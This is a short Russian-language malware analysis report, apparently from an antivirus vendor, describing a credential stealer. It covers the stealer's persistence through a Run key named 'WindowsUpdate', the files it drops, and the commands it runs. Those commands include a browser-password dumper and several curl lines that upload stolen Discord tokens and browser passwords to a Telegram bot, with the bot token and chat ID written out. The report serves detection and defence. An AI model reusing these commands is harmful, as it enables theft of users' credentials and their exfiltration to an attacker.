Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '<Полный путь к файлу>'
Изменения в файловой системе
Создает следующие файлы
- <SYSTEM32>\windowspowershell\v1.0\out.txt
- <SYSTEM32>\windowspowershell\v1.0\pass.txt
Сетевая активность
UDP
- DNS ASK ap#.##legram.org
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ChromepassDPAPI.exe > pass.txt 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"out.txt" -F chat_id=990030901 -F caption="[gxqovmc\user] Discord Token" https://api.telegram.org/bot8546393587:AAEGxN5XHSiQGAS-pbRwQFmkOfREjFfCDaQ/sendDocument
- '<SYSTEM32>\curl.exe' -s -F document=@"out.txt" -F chat_id=990030901 -F caption="[gxqovmc\user] Discord Token" https://api.telegram.org/bot8546393587:AAEGxN5XHSiQGAS-pbRwQFmkOfREjFfCDaQ/sendDocument
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"out.txt" -F chat_id=990030901 -F caption="[gxqovmc\user] Browser Passwords" https://api.telegram.org/bot8546393587:AAEGxN5XHSiQGAS-pbRwQFmkOfREjFfCDaQ/sendDocument
- '<SYSTEM32>\curl.exe' -s -F document=@"out.txt" -F chat_id=990030901 -F caption="[gxqovmc\user] Browser Passwords" https://api.telegram.org/bot8546393587:AAEGxN5XHSiQGAS-pbRwQFmkOfREjFfCDaQ/sendDocument
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Полный путь к файлу>"
